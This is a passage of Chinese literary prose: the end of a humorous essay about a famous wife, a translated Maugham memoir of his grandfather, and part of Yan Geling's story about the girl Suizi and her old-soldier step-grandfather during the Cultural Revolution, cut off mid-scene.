　　她最不喜欢做的事，恐怕就是买菜和烧饭了。提起她煮饭的历史，就我所知道的，可以追溯到她刚出国的时候。那时她天不怕地不怕，以为自己什么都会，居然有一天自告奋勇，要烧几桌菜请诸位同学品尝。当菜一上桌，引起一阵欢呼，因为每一桌上都是五颜六色，构成一幅幅美丽的图画，于是有位同学自告奋勇，冲到街上去买底片回来拍照留念。没想到大家尝了一口，就没有人再讲一句话了。从此以后，也没有人再烦过她烧饭了。新婚以后，她的确下过一番功夫，回想她外祖母曾经烧过的几道好菜，自己也来试上一试，经过几次研究改进，已能把好几道菜烧得略有水准了。不料近几年来，借写作和绘画为借口，尽量不进厨房，终于把当年苦练得来的那点功夫荒废殆尽。于是一家的膳食，多请专人或由我来料理。有时我比较忙，请她代劳一下。过了不少时间，进厨房看到她仍在慢功出粗活地做准备工作。于是为了全家人能在饿坏前吃得到饭，只好从她手中把工作接下来。做饭不行买菜总会吧，于是她承担起买菜的任务。起先全家人都很满意，只是过了一阵子岳母大人嫌她买的菜“笨”，缺少变化。她听了幽幽说：“我就是吃笨菜长大的。”

　　每个月一到 21 号，名妻就坐立不安，因为这一天电话缴费通知单一定会准时送到。名妻和她的几个好友都是讲电话能手，一次在电话上聊个半小时是平常的事。只是家居石门乡下，电话几乎全是长途的，所以这几家大概都是电信局的标准客户。可能名妻怕我看到惊人的电话费会噜苏，所以守候邮差的驾临，接下电话收费通知就藏起来，好让我眼不见心不烦。

　　其实名妻也是一个很好的内助。除了煮饭以外，家里大大小小的事大多能做。

　　我有一个“魔手”的雅号，因为一件东西一经过我的手就不见了。有时候我翻箱倒柜都找不到的东西，名妻常能在第一时间和第一地点就帮我找到。如果我出门的时候穿得实在太不象样，她会叫我回来重新换一套。我的衣服实在不象样时，她会拖着我去买新的。她已学会不擅自做主张给我买衣服，这是我用拒穿换来的尊严。

　　常有人问我太太比自己出名是不是很不好受。其实现在已经是什么时代了，任何人都有不幸出了名的机会。就我个人来说，除了不能忍受给我冠上妻姓之外，很以拥有名妻为乐。

祖父

威廉 · 萨默塞特 · 毛姆

　　我开始从事写作时，感觉写作好像是世界上最自然不过的事情了。我喜欢写作，就如同鸭子喜欢水一样。我从没完全走出“成为作家”带给我的惊奇；除了一种不可抗拒的意愿以外，我找不出自己成为一名作家的理由，也不明白为什么这种意愿会在我的脑子里产生。在长达一个多世纪的时间里，我的家族一直从事法律工作。据《英国传记辞典》（Dictionary of National Biography）记载，我的祖父乃是联合法律协会（Incorporated Law Society）的两位创始人之一，在大英博物馆的图书馆目录中，他的法律著述可以开列一份长长的名单。他只写过一本与法律无关的书，那是一本他为当时几份严肃杂志所写散文的结集。依着对于礼法的理解，他匿名出版了这本书。我手头曾经有过这本书，很漂亮，是用小牛皮装订的，但我从没读过，那以后也再没能拥有一本。我希望自己有这样一本书，那样我或许就能从中知道有关像他那样的人的一些事情。他在法官巷（Chancery Lane）居住多年，因为他做了自己创办的联合法律协会的秘书；退休后他搬进肯辛顿三角地（Kensington Gore）一幢可以俯瞰海德公园的房子里。人家送他一只托盘、一套茶器和咖啡具，以及一只银质的分隔饰盘，饰盘是那么大，那么华美；这些器具自那以后一直成为后人的拖累。一位年长的律师——我从小就认识他——告诉我他曾作为见习生受邀与我的祖父共进晚餐。我的祖父切着牛肉，然后仆人递给他一盘连皮烤熟的土豆。连皮的土豆，再加上多多的黄油、胡椒粉和盐，这几乎是世上最好吃的食物了，不过显然祖父不这么认为。他从桌首的椅子上站起身来，把土豆从盘子里一个一个拿掉，然后丢向四壁上的每一幅画，之后他又一言不发地坐下，继续他的晚餐。我问朋友这一举动对其他人有什么影响，他回答说根本就没有人注意这个。我的朋友还告诉我说，我祖父是他见过的最丑的矮小男人。我曾去过坐落在法官巷的联合法律协会大楼，亲自看看祖父是不是真的像朋友说的那么丑，因为那儿有祖父的一幅画像。如果那位老绅士所言不虚，那么画师一定大大地奉承了祖父。他给了祖父黑黑的眉毛下面一双俊美的黑眼睛，眼中还隐约闪着嘲讽的光；结实的下巴、挺直的鼻子和两片翘起的红唇。一头黑发和阿妮塔 · 卢丝小姐的一样，恰如其分地飘在风中。他手握一支鹅毛笔，身旁一堆无疑是他自己的书。尽管他身着黑色外套，却并不如我本来期望的那样令人心生敬意，而是略显淘气。多年以前，我在销毁他的一个儿子——我死去的叔叔——的文件时，发现了他年轻时写的日记。写日记的时间是十九世纪初，当时祖父正在法国、德国和瑞士旅行，我把那称作“小旅行”。我记得他在描述沙夫豪森（Schaffhausen）那并不怎么动人的莱茵河瀑布时，感谢了全能的上帝，因为上帝通过创造这“让人惊叹的大瀑布”，使“他可怜的创造物有机会在与他的杰作奇迹般的伟大相比较时，意识到了自身的微不足道”。

老人鱼

严歌苓

　　穗子在成年之后对自己曾挨过的那两脚记得很清。踢她的那只脚穿棕色高跟鞋，肉色丝袜。

　　穗子果真在母亲盛破烂的柳条筐里见到了这些物证。从此穗子就相信自己在半周岁时就有记忆了。她当时被搁在一个藤条摇篮里，外婆叫它“摇窝”。她半周岁时比别的婴儿稍微小一点，也不如人家硬扎。这是外婆坚持把她紧紧捆在襁褓中的原因。穗子那天是个讨厌的婴儿，怎么也不吃哄，张开嘴直着嗓门哭喊，母亲一眼看得见她两块嫩红的扁桃腺。母亲哄不好穗子就不能脱身，她哄得自己也哭起来了。就在这个时候，二十二岁的母亲委屈地“咚”的一脚向摇窝踢去，摇窝成了个不倒翁，几次摇得要倾翻。踢痛了脚的母亲简直委屈冲天，外婆拉也拉不住，但脚头气力毕竟被消耗了不少，因此母亲抡出去的第二只脚只把摇窝踢远了，“砰”地撞在墙根。束手待毙的穗子浑身捆在襁褓内，自然感到一种毁灭性危险。她一下子收住哭声，开始她人生第一次的见风使舵。以后的日子，穗子就有了几分寒心，自己的母亲怎么做出了这样失体统的举动？给她的老辈和小辈都落下了话柄。穗子长大以后对母亲表面总是带点巴结，内心却充满怜悯。怜悯可不是什么好的感情，被怜悯的人必须接受怜悯中略带嫌弃的敷衍。

　　外婆为此跟自己女儿不共戴天。她觉得穗子母亲太低能太失败了。她踢穗子的那两脚就是对自己不配为人母的彻底招供。外婆只要活一天，穗子就该得到一天的安全。穗子妈和穗子爸一旦暗示要接穗子走，外婆就说：“不要脸，小穗子这是第二条命。”

　　穗子的外公也说：“穗子不会跟他们的，穗子多识数啊。”

　　外公是个老兵，有残废津贴和特殊食品供应，而且不必排队就买到肉和粮食。外公的残疾非常古怪，据说是头颈神经坏了，他的头不时会转动，假如你在他左前方跟他说话，他就向右后方拧下巴颏，因此外公总是在反对谁，绝不苟同于任何人。不熟悉他的人，都认为他是个很倔、很不友好的老头。

　　穗子妈见了外公只稍微点一下头，跟外婆提到外公时说：“老头儿没偷偷给穗子买零嘴吧？老头儿没出去跟人打架吧？”

　　在穗子印象里，外公从来不跟人家打架。外公那么蛮横一个老人，用着跟谁打架呢？他那双眉毛出奇的浓，并是雪白的，眉毛往下一压，谁都得老实。何况外公有一大堆功勋章，他跟谁过不去时，就把它们全别在外衣上。据说外公在打仗时冻掉了三个足趾，因此他走路是深深浅浅的。一别了满胸的勋章，外公走得急或来势汹汹时身上就发出细微的金属声。

　　外公说：“你晓得我是谁吗？”

　　这就够了，对方也不敢晓得他是谁了。碰到愚钝的大胆之徒，外公就添一句：“你问问去，当年我腿上挂花时，省上哪个首长给我递过夜壶。”

　　外婆跟外公并不恩爱，他们只有通过宠爱穗子才能恩爱。外公耳朵不好，跟人说到他曾经给某位首长当副官时，外婆就小声揭露一句：“什么副官？就是马绠。”穗子大起来才发现，外公对历史的是非完全糊涂，远不如当时还是儿童的穗子。穗子看电影时最常问的一句话就是“这是好人还是坏人？”而外公却不知道自己在战争中做的是好人还是坏人。直到有人仔细来看他那些军功章时，才发现了这个重大疑问。

　　这样我们就有了外公的大致形象：一个个子不高但身材精干的六十岁老头，迈着微瘸的雄赳赳步伐，头不断地摇，信不过你或干脆否定你。他背上背着两岁半的穗子，胸口上别了十多枚功勋章。穗子的上衣兜里装满了炒米花，她乘骑着外公边走边吃。托儿所的阿姨们看到这样的一对祖孙走近来，都愣了一刹那。然后便窃窃私语起来：“这是哪儿来的老怪物和小怪物？”等穗子报上名之后，阿姨们就改变了对外公的最初印象，她们崇拜起这位战功赫赫的老英雄来了，所有军功章把老头儿的衣服坠垮了，两片前襟左面比右面稍长些。那些军功章大多色泽乌晦，难以辨识，阿姨们读懂的有：“淮海战役”、“渡江胜利”、“抗美援朝”等等。

　　以后外公天天在下午三点出现在托儿所门口。天下雨的话，老头手里一把雨伞，天晴便是一把阳伞。暑天老头端一个茶缸，里面装着冰绿豆沙，寒天他在见到放了学的穗子时，从棉袄下拿出一个袖珍热水袋。老头儿没什么话，有话就是咆哮出来的。他只是在穗子受了气才咆哮。穗子告状是有名有姓的，谁揪了她辫子，谁躲在拐角吓了她，谁在滑梯上推了她一把，她都会把男孩们的姓名告诉外公。但外公到托儿所闹事，为外孙女做主时却非常笼统，从来不指名道姓。外公在此时嗓音并不洪亮，但有一种独特的杀气；那是战场上拼光了，只剩几条命要拼出去迎接一场白刃战时出来的嗓音。总之穗子就记得老兵此刻有一种垂死的勇敢，骂街不再是骂街，而是壮烈、嘶哑的最后呐喊。

　　外公隔三差五的呐喊终于镇压了所有孩子。包括省委首长的儿子们。外公喊着要“下了你的大胯，掏了你的眼！……死你一个我够本，死你两个我赚一个！……”

　　开始穗子不懂外公的话，后来懂了便非常难为情。她觉得外公跟她的生活有些文不对题，外公的架势、口吻、装束放在托儿所的和平环境中，非常怪诞。外公在自己制造的闹剧中过瘾地表演，给大家好么娱乐了一回。过后她不跟外公讲话，一讲就朝他白眼：“我不要你做我外公！我不要你讲话！我不要你管我！不要你做我家长！”

　　其他话外公都当作没听见，就那句“不要你做我家长”让老人蔫了，背着穗子的脊梁也塌下去。这是外公最心虚之处。后来外公去世了，成年的穗子最不堪回首的，就是她对老人经常讲的这句话。那时她才意识到，孩子多么残酷，多么懂得利用他人的痛楚。那时穗子已读过一篇文章，有关驯化大象：人将象的耳朵灼出一个洞眼，并在伤患上抹药，使它永远溃烂不愈，一旦大象出现造反征兆，人就用树枝去捅这个伤痛的洞眼。穗子不明白当年的自己怎么觉察出外公的不愈伤患，或许外婆跟外公怄气时话里带出来的，亦或是母亲给了她某种暗示：外公只是叫叫而已，并非血亲的外公。

　　大概是在九岁那年，穗子终于明白外公是一个外人。早在五十年代，政府出面撮合了一些老兵的婚配，把守寡多年的外婆配给了外公。被穗子称为外公的老头，血缘上同她毫无关系。不过那是后话，现在穗子还小，还天真蒙昧，外公对于她，是靠山，是胆子。是一匹老座骑，是一个暖水袋。冬天穗子的被窝里，总有个滚热的暖水袋，但有次水漏出来，烫了穗子的腿，外公便自己给穗子焐被窝。一直到穗子上小学，她的被窝都是外公给她焐的。外公在被窝里坐着，戴着耳机听半导体，一小时后被窝热了，穗子才睡进去。

　　外婆去世不久，外面发生大事了。人们一夜之间翻了脸，清早就闯到穗子父母的家里，把穗子爸拖走了。之后穗子妈每天用她的皮包装来一些东西，到外公的后院去烧。烧的是照片、纸、书。有一些她实在下不去手烧的，就搁在一边。穗子知道，那是父亲的一些书稿或剧本稿子，还都是未完成的。穗子妈把穗子父亲的稿子放在一个盛破烂的大竹筐里，就是这个时候，穗子确信了筐里的棕色皮鞋和肉色长丝袜是罪证：母亲当年正是穿着它们，踢了婴儿穗子两脚。穗子认为母亲当时想踢死她，但后来回心转意，也怕起自己对婴儿突发的怨毒来，便从此不穿那双高跟鞋。

　　穗子妈把筐交给外公。外公说：“你放心，哪个敢抄我的家？”

　　这天一早，外公去买过冬的煤，抄家的人来了。穗子让他们先抄着，自己小跑去煤站叫外公。外公赶回来就拉开抽屉，拿出一张绿色毡子，毡子上别满他的功勋章。他把毡子往桌子上掼，对抄家的人说：“小杂种，抄家抄到哪儿来了？”

　　抄家的人都不到二十岁，外地人占多数，因而不知道穗子外公是不能惹的；穗子外公早年打仗就不要命了，他现在的命是丢了多少次捡回的，因此是白白赚的。

　　抄家的人动作停了一下。他们在遇到外公前是所向披靡的。有人说：“老家伙好像有点来头哩。”

　　但两个撬锁的人正撬得来劲，一时不想收手。他们撬的是那间煤棚的锁。煤在这一年成了金贵东西，给煤上锁的人家并不少见。当两个撬锁人欲罢不能时，外公用一根木棍在桌面上重重敲一下。他说：“大白天做土匪，撬我的锁，看我不打断他的爪子！”

　　抄家的人这时真有点怕了。这年头他们难碰到一个敢用这口气跟他们讲话的。一个头头和气地对外公说：“老革命要支持小革命嘛，抄家不彻底，革命怎么彻底……”

　　外公说：“日你奶奶！”

　　头头在手下人面前给外公这样一骂，有点负气了，若就此打住，他日后还有什么威风？他手做了个很帅的小动作，说：“继续搜查，出事我负责。”

　　外公说：“你们动一个试试。”

　　两个撬锁的人看看外公，看看头头。穗子眼睛盯着那把老古锁，门别子已松动了。

　　头头说：“撬。”

　　外公沉默了。他挨着个把勋章别在衣服左前襟上，然后一解裤带，长裤落到脚腕。他穿着宽大的裤衩，将腿往椅子上一蹬，那腿绝不同于一般老人，它丑怪而壮实，两块枪伤曲扭了所有肌肉和筋络，在表皮上留下核桃大的坑。外公腿上的毛也比他的胡子、眉毛、头发年轻得多，又黑又浓密。阴森森的腿上，两块不毛的枪伤瞪着人们。

　　外公说：“没见过吧？我这条腿本来是要锯掉的。我把手榴弹掏出来，拉了栓，对医生护士说：‘敢锯我腿，炸死你们！’”

　　人们看见老头在说“炸死”的时候，猛一呲牙，眼珠也红了。静寂一刻，一个十六七岁的女抄家者说：“后来呢？”她这一问，不自觉地成了老兵的崇拜者，另外两个女孩也附合上来，问道：“他们锯没锯你的腿？”

　　外公说：“谁敢呐？敢靠近我的都没有。两个子弹在这里头开了花。”外公拍拍枪伤。“我用一把刀自己挖，把大大小小的弹片挖出来了。”

　　女孩们说：“原来是位老英雄呐，用刀在自己肉里剜连麻药都不打。”她们上来挨个跟外公握手，说哎呀多幸福，第一回跟一个活的英雄握手。她们一边握手，人就小小地蹦跳着，红了鼻头和眼圈。

　　撬锁的人灰溜溜的，上来和外公握手时，笑也灰溜溜的。

　　外公却说：“你们撬锁手艺太差劲，榔头、起子有屁用，我当年撬的锁多了，一根棍子，这样一杠。”他把榔头柄插进去，手突然一阵痉挛：“看看，看这手艺。”

　　锁果然掉下来。煤棚的门开了。外公指指里面，问那头头：“看看吧？”

　　头头双手摇着：“不看了不看了。”

　　外公说：“看看好，看看放心。”

　　大家都说：“不看了不看了。”

　　外公说：“哪能不看？起个大早，来都来了，好歹看看吧。门都撬开了，还客气什么？那时候我撬了门，进去有粮装粮，有牲口牵牲口，财主要不是恶霸，也就不惊动他了。你们真不看？”大家说：“不看了。”这回他们答得整齐、有力。

　　人们撤离时，穗子注意到一个偷窃者。他伙同这群人进来时看见床下有两条肥皂，就抓了揣进裤袋。偷窃者最后一个出门，出门前以同样的魔术手法把肥皂扔下了。

　　许多年后，穗子想到外公的破绽一定是那天败露的。假如外公不把勋章别在衣襟上，或压根不亮出勋章来，他便是个无懈可击的老英雄。主要怪外公无知，否则他会明白一些勋章经不起细究，尤其两枚德国纳粹的纪念章，是外公在东北打仗时从破烂市场买来的，它们原来的主人是一个苏联红军。

　　那位头头是个狡黠人物。几个月里，无论他怎样忙碌、操心，却始终想着外公的那些勋章。他本来就是个疑心很重的人，生而逢时，遇上了一个疑心的大时代。事实证明他的正确，这世道上所有人都存在疑点。他对那些勋章的怀疑让他深夜会无端觉醒，白天骑自行车会突然迷路。一次他骑车把席子编的大字报墙撞个窟窿。爬起来，他便蹬车向穗子外公家去了。他给外公行了个军礼，说他想再接受一次革命战争教育；再一次挨外公这样战功赫赫的老兵臭骂。他很快哄外公拿出了那块绿毡子，指着一枚带洋字母的勋章问外公：“这是哪一场战役？”

　　外公说他不记得了。反正是一场大仗。

　　头头问穗子要了纸和铅笔。穗子看见深深的得意使他年轻的脸上骤添一些皱纹，一些阴影。他将纸蒙在勋章上，以铅笔来回涂，把上面浮雕般的图案、字迹拓了下来。外公纳闷地看他手拿铅笔，飞快地左右划拉，问他在搞什么名堂。他把拓下来的一枚枚勋章小心对折，说：“做个纪念——立不了战功，得不到真勋章，这样也算沾一点英雄的光。”

　　他告辞时，外公说：“不喝茶啦？”

　　他说：“不喝了不喝了。”

　　外公又说：“炉子上坐了水，一会就开。”

　　他说他忙着呢。外公问他撬门的本事长进没有，多撬撬手就没那么笨了。头头说：“那是那是。”外公手比画说：“就这样，抵住，一杠，保你开。”他指指外孙女：“小穗子都学得会。”

　　头头离去后，穗子有些不祥的感觉。一个月过去了，没发生任何事。外公照样给她在粥里煮一只鸡蛋，在炉灰里烘七八颗板栗。外公把每天两次发放零嘴改成一次，因为食品的匮乏在这一冬恶化了。外公的“残废军人证”也只能让穗子一月多吃二两白糖、半斤菜油、一斤肉。有次外公见水果店门口排了长队，一打听，店里来了橘子。他立刻掏出钱和“残废军人证”，高高举过头顶。排队的人破口大骂：“这死老头也算残废？有胳膊有腿的！”外公给人拉下来，往队伍里一看，才发现所有人的肢体都不齐全，残废等级都比他高。

　　穗子这一冬便有橘子吃了。外公把小而青的橘子吊在天花板上，每天取一个出来，发给穗子，这样穗子每天的幸福时光就是酸得她打哆嗦的橘子。

　　吃到橘子干了，皮硬得像茧，穗子妈从乡下回来，说穗子爸急需那些手稿。穗子爸的处境没什么好转，只是坏处境稳定了，他能在稳定的坏处境里吃喝、睡觉、上工了。穗子爸眼下在一个水坝上挑石头，所有人都跟他一样有严重政治缺陷。穗子爸渐渐快乐起来，因为有缺陷的人共处，谁也不嫌谁，就有了平等和自在。他心中一些欲望复生了，如读书、写作、打扑克、打乐祭、谈古诗、谈女人等等欲望。“劳动改造”对穗子爸这类人，已失去了最初的尖锐意义，不再残伤他们的自尊。就在这年入冬之际，穗子爸第一次产生过小日子的兴趣。他第一次感到，幸福就是“甘心”，甘心低人一等，就幸福了。他把这样神性的心得告诉了穗子妈。穗子妈似懂非懂，却认为应该替丈夫把这难得的想法落实下来。穗子爸活一把岁数，产生居家过日子的想法还是第一次。

　　穗子妈把她和丈夫的打算瞒得很紧。她知道外公的脾气，同他实话实说，把穗子从此领走，完全行不通。情理上也说不过去：外婆尸骨未寒，就要夺走穗子，让外公彻底成一个孤老人。穗子妈住下来，她首先要去除穗子对她的客气、过分的礼貌。她心酸地想，穗子要是跟自己也能耍耍性子、撒撒娇多好。穗子跟外公在一块时，从来不乖巧，但谁都能看出一老一少的亲密无间，是一对真正的祖孙。

　　穗子妈将盛破烂的大筐从煤棚拖出来，一页一页地整理穗子爸的手稿。稿子已枯干发黄，却都是未完成的。她忽听身后有响动，一回头，见穗子正返身进屋。显然是穗子原打算到后院来，见母亲在那里便仓皇逃走。穗子妈一阵黯然神伤，喊道：“穗子！”

　　穗子听这声喊得极冲，竟吓得不敢应了。

　　“穗子！……”母亲再次喊道。

　　穗子装着刚听见，跑到后院，在母亲身边站得板板正正。母亲让她看看，破烂筐里有没有她喜欢的东西，没有的话，就把收破烂的挑子叫进来，连筐收走。穗子往筐里看一眼，摇摇头。母亲说：“这双皮鞋还好好的，你再大一点，把鞋跟拔了，可以穿的。”母亲替穗子当家，把那双棕色高跟鞋拎到筐子外面。“这些丝袜，都是真丝的，”母亲一双双理着纠结成一团的肉色长统袜，“都不太破，妈以后给你补补，都能穿的。你说呢，穗子？”

　　穗子点点头。她看母亲一双贫苦的手，翻到了筐底。好好的太阳光里，充满破烂特有的刺鼻气味。经过这样一双贫苦的手，破烂便不再是破烂。母亲惊喜地笑了：“哎呀，都是好东西呀！差点当破烂卖了！”

　　于是母亲只将父亲的几大摞手稿搁入她的方头巾中，再将头巾扎成一个包袱。其余的破烂已变成了好东西，因此就又回到筐里。穗子一想到那些脱了丝的长统袜和棕色高跟鞋都在筐里等着她长大，心里便对“长大”这桩事充满矛盾。

　　妈说：“这个包袱，你来挎。上长途汽车，小孩子挎的东西，没人会注意。”

　　穗子问：“上长途汽车去哪里？”

　　“去看爸爸呀。”

　　“什么时候去看爸爸？”

　　“什么时候都行。”

　　“……外公去吗？”

　　母亲停顿一下。穗子见母亲那双清澈见底的眼珠后面，脑筋在飞转。母亲笑笑，说：“外公这次不去。你就去看看爸爸，外公去干什么？爸爸那里粮也不够吃，外公去吃什么？”

　　母亲说话时，有一种交头接耳的模样，让穗子想到了世界上一切交头接耳的人们。人们交头接耳，就挑出穗子爸的种种不是来。穗子认为那位抄家头头此刻一定在某处和谁交头接耳，嘁嘁喳喳得非常热闹。然后他们就会朝外公来了。穗子当时并不懂他们朝外公来的凭据，但她肯定那些人正为外公的事交头接耳。

　　那时穗子还不懂“阴谋”的意义，她只懂得阴谋的形象。形象就是交头接耳。

　　正同她交头接耳的母亲突然做了个奇怪的眼色，嘴唇撮住，“嘘”了一声。然后穗子看到外公到后院来了，从煤棚里取了一块煤。穗子顿时在心里质问母亲：你在骗我们吧？！既然仅仅是去看一趟父亲，为什么要对外公隐瞒实情？！

　　第二天穗子还在上最后一节课，母亲就来了。跟老师短短地交头接耳一阵，老师就提前放了穗子的学。穗子跟在母亲后面来到长途汽车站，看一眼候车室大钟。这时外公刚刚到达学校门口。他会站在隆冬里一个一个地看着从校门走出来的孩子。他会一直站在那里，心很笃定地等下课的孩子回家吃完午饭，又成群结队地上学去。外公会等的，会等到天暗了，放晚学的孩子们再次涌出校门。

　　她忽然对母亲说：“我的东西没带。”

　　母亲说：“我都替你拿了。喏，这是你的所有衣服，这是你的书、玩具。”

　　穗子本来没什么家当，值得带的，母亲都替她拿了。穗子想，母亲贼似的偷了穗子所有的东西；在外公眼皮下，她连东西带人把穗子偷走了。

　　穗子说：“我还有十多个橘子呢。”

　　母亲笑了，说：“算了吧，那也叫橘子？那叫橘子化石！”

　　穗子心想：说得轻巧，你去给我买点橘子化石来。但她从来不跟母亲顶嘴；她从来没跟母亲熟到顶嘴的地步。她不吱声了。冬天无孔不入，钻透她的棉袄棉裤，最后钻到她脚心，凝聚在她十个脚趾头里。积淀了整个冬天的脚趾开始咬食穗子，穗子的知觉给咬得血迹斑驳。

　　母亲说：“车要来了，你去上个厕所吧。”她佝下身，替穗子挽起棉裤腿，又塞给穗子两张揉得很软的废稿纸。

　　穗子朝厕所走去。她在厕所门口停下来，回过头。母亲此时正以后脑勺对着她，在读墙上的时刻表。

　　穗子一直跑到一条巷子里，才明白自己干出什么样的事来了。她干出野孩子的事来了。她跟闯了大祸的野孩子那样撒开腿、仰着脸飞跑。跑着跑着，她发现自己满脸汗水。跑得她真想上厕所，却绝不敢上，手心的两张废稿纸给团得更软和，跟她在多年后用的棉制手纸一模一样的软和。一路上遇见的所有厕所，穗子都一咬牙一别脸跑了过去。她跑到外公家门口时，一泡滚烫的尿灌入棉裤。于是外公看见傍晚中的穗子，热腾腾地冒气。

　　穗子妈一个冬天都没给穗子写信。女儿让她心碎。她同女儿赌气：看你没有妈活不活得下去。穗子妈这种时候成了穗子的小女伴，平起平坐地跟穗子比赛，看谁先孬下来；谁先投降。穗子爸还是一礼拜给穗子写一封信，说冬天水结了冰，用炸药一炸可以炸许多鱼；下兔夹子能逮住许多野兔和刺猬；锯下一棵柳树，鸟巢里有几十个蛋，那些蛋煎成一个个袖珍荷包蛋，香得命也没有了。穗子的回信从来不对父亲的描述作任何应答。她觉得父亲对世界的态度变了，作为也变了；就知道去祸害，去消灭。之后，世界对于父亲，就剩下个吃。穗子当然不知道冬天对父亲的那群人，确实只剩个吃，因为整个空白的严冬，就是个巨大的胃口，填什么进去都无法缩小它的空间，都填不掉那大漠般的饥饿。

　　穗子给父亲的信越来越短。她的常规生活没什么可说，而她的“地下生活”，跟他们说也白说。天下父母怎么可能懂他们的孩子呢？

　　竹林开始发春笋的时候，穗子揪了一冬天的心，慢慢放开。没人来麻烦外公，父母也没有来麻烦穗子。穗子自由自在穿着帮成底、底成帮的棉鞋到处忙，踩某家的煤球，偷某家的萝卜干、堵某家的下水道。人们还在你打倒我我打倒你，一个革命推翻另一个革命，大字报小字报，写多了大家也就写出字体来了，错别字也得到了公认。正是这个白纸黑字的世界让穗子和她的伙伴们向往无字，向往字盲。

　　她们便常常去郊区的竹林。大片的竹林是大片的无字。穗子见最年长的女孩弯腰拔下一根竹笋；她双手握住露在地面上的笋尖，整个屁股悬空向后坐去，竹叶响起来，竹林跟着哆嗦了好一阵，笋子才给拔起来。大家很快效仿年长女孩，拔掉了所有露出地面的竹笋。近午饭时间，每个书包都装满了笋。年长的女孩把一张报纸铺在地上，又把所有的竹笋放上去。然后她指定一个女孩叫唤，像卖冰棍卖茶叶蛋的贩子那样叫，叫得悠扬抒情，充满旋律。很快就卖掉了所有竹笋，女孩们狂喜地分了赃，约定第二天再干同一桩勾当。

　　穗子这才明白，竹笋是世界上最难减除的东西之一，头天拔净了，来日又生一片。女孩们的生意越做越旺，心越来越狠：开始太幼小的笋她们是不忍心去拔的，但一周下来，她们摊上最小的笋只有手指粗，仅比手指长一点。这天她们进了竹林，正对那些初冒尖的笋下手，一个汉子突然笋子一样冒出来。他一把揪住年长的女孩，说：“你还偷上瘾了哩！”年长的女孩梳两只羊角，给他揪住一只。他对另一个女孩说：“来，过来，把你的小辫子给我。”他将几个女孩子的辫子束成一束，以一只手握住，另一只手解下自己的皮带，悠着。他说：“不老实我抽死她。”

　　他就这样牵着一大把辫子往竹林深处走，也不管有的女孩是给他反着牵的，那样她只能脊梁当前胸，倒退着前进。谁倒着走踩了谁的脚，就出来哭腔的埋怨，汉子便说：“谁在吭气？”说着他狠狠往一根竹子上抽一皮带。竹冠连着竹冠，整个竹林都跟着疼，一齐挣扎扭摆。汉子牵不了所有女孩，岁数太小的，他就边吆喝边赶着走，放鸭似的。

　　年长女孩就在这时对穗子使了个眼色。

　　穗子和四个个头小的女孩给汉子赶得很好，乖乖朝竹林深处的小屋走去。她是看懂了年长女孩的眼色，却装着不懂。她觉得跟集体在一块死也认了。穗子跟全人类一样，都有同一种作为人的特点，那就是争取不孤立，争取跟大多数人同步，受罪享福，热热闹闹就好。她从爸爸最近开始的幸福日子里得到启示：甜头是所有人均分的苦头，幸运就是绝大多数人相加的不幸。

　　另一个女孩趁汉子不备，隐进竹林，逃了。汉子抬头看看竹林的梢部，女孩逃跑的路线马上清楚了。他随她去逃，只是更狠地抽着皮带。一棵笋子刚刚成竹，在皮带下断了。汉子说：“跑掉我就不认得你了？你们在这里偷我笋子，我天天看着哩！你姓什么叫什么家住哪里，我都晓得！……”他的话让女孩们暗暗吃惊，离那么老远，他怎样察觉了她们？

　　到了小屋，汉子把女孩们赶进去，自己却在屋外。

　　他说：“卖了的钱，都给老子掏出来。”

　　女孩们自然是掏不出的。年长的女孩说：“叔叔，下次不敢了。”

　　“我是你妈的叔叔！”

　　女孩们一齐哭起来，说：“叔叔我们错了。”

　　“错了就行了？钱呐？”

　　“钱买了挂面。还买了奶粉，给弟弟喝。”年长的女孩说。“弟弟肝炎。”

　　“都有弟弟？都有肝炎？”

　　一个女孩壮壮胆说：“我们把钱交给奶奶了。”

　　汉子说：“叫你奶奶把钱还回来，谁家奶奶还钱，我就放了谁。”

　　穗子看看站成一排的女孩，每个女孩面前的水泥地面上，都是一滩眼泪鼻涕。她觉得这个女孩是个内奸，把大家全卖了；现在家长们都将知道她们的偷窃勾当了。孩子们跟家长们一样，在外面搞勾当普天下人都知道只要自己家里人不知道都还能接着混日子。穗子爸给人斗争、游街，谁看见只要穗子不看见就行；他都还大致有脸面有尊严。穗子爸现在的幸福还在于，他笨拙丑陋地在水坝上干牛马活，女儿穗子反正看不见。

　　汉子拿出一把锁，把门锁上了。他走到窗子前，对女孩们说：“刚才你们不是跑了一个吗？她回去报信，你们的奶奶就会来领人了。”

　　另一个女孩哭着说：“我没有奶奶！”

　　“那就叫你舅舅来。”

　　汉子知道女孩们的父母是来不了的，出于各种原因他们反正来不了。做个乡下汉子他不明白城里人的种种大事，但看看也知道这群女孩没有父母。她们身上有种可怕的气质，汉子只觉得那气质有些刁钻，有些赖，有些连乡下孩子身上都不见的荒野。

　　汉子两个胳膊肘搁在窗台上，上身倾进窗内。他说：“就是送钱来也赔不了我那些竹子。你们少说搞掉了我两千多根笋子，笋长成竹就是十几倍价钱，赔不起我？不要紧，我叫人去扛你们家的自行车，下你们大人的手表，搬你们的缝纫机、收音机。”

　　汉子在咬“手表”这类名词时，嘴和脸都有猛狠狠的快感。他一年吃不到四回荤，嚼这几个字眼就像嚼大肥肉，馋与解馋同时发生，那是祖祖辈辈积累下来的馋，刹那间得到满足的同时，吊起了更深刻的古老不满。汉子的不满和满足更迭，使他的脸上固有的愁苦深化了。汉子认为所有城里人都有他上面提到的“三大件”，这“三大件”却是他所理解的“富裕”的具体形象。他的困惑是城里人都有“三大件”，还在作什么？再作不是作怪、作孽又是什么？他看着这群女孩，心想她们的爹妈都是活得小命作痒了。他说：“一根竹子算你两块钱，你们差我四千块钱。你们的家长不赔我这些钱，你们就在这里头过端午吧。”

　　到了下午，女孩们喊成一片，说她们要解手。

　　汉子说：“解吧。”下午她们见逃跑的女孩回来了，身后跟着一个人。女孩们一时看不清来解救她们的人是谁家家长，因为他正和汉子在竹林里察看女孩们的罪迹。听不清他们的谈话，但女孩们知道汉子在勒索，而那位家长在杀价。

　　报信的女孩瞅了个空，跑到小屋前，对窗内小声说道：“你们完蛋了！穗子外公把你们交出去了，接受惩办！”

　　穗子外公跟汉子交谈着，头用力摇动。他们走出竹林，在屋子前面站住。外公胸前照例挂满勋章，一只脚实一只脚虚地站立，看上去大致是立正姿态。

　　外公看一眼屋内的女孩，对汉子说：“别跟我讲这么多废话，该关你就关，该揍你就揍，省得我们家长费事。”

　　汉子还在说一棵竹笋长成竹值两块钱的事。

　　外公说你是什么市价，现在到哪里拿两块钱能买到恁大一根竹子？少说四块钱！

